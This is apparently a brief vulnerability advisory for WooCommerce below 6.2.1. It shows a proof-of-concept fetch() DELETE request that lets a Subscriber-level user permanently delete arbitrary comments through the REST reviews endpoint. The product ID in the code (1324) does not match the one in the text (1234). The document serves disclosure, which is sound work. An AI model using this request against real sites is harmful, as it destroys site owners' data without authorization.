WooCommerce < 6.2.1 - Subscriber+ Arbitrary Comment Deletion

Proof of Concept

Log in as any user (with privileges as low as Subscriber).

fetch("https://127.0.0.1:8001/?rest_route=/wc/v2/products/1324/reviews/2&force=1", {
 "headers": {
   "content-type": "application/x-www-form-urlencoded",
 },
 
 "method": "DELETE",
 "credentials": "include"
});

That needs product 1234 to not exist. It will permanently remove comment with ID 2.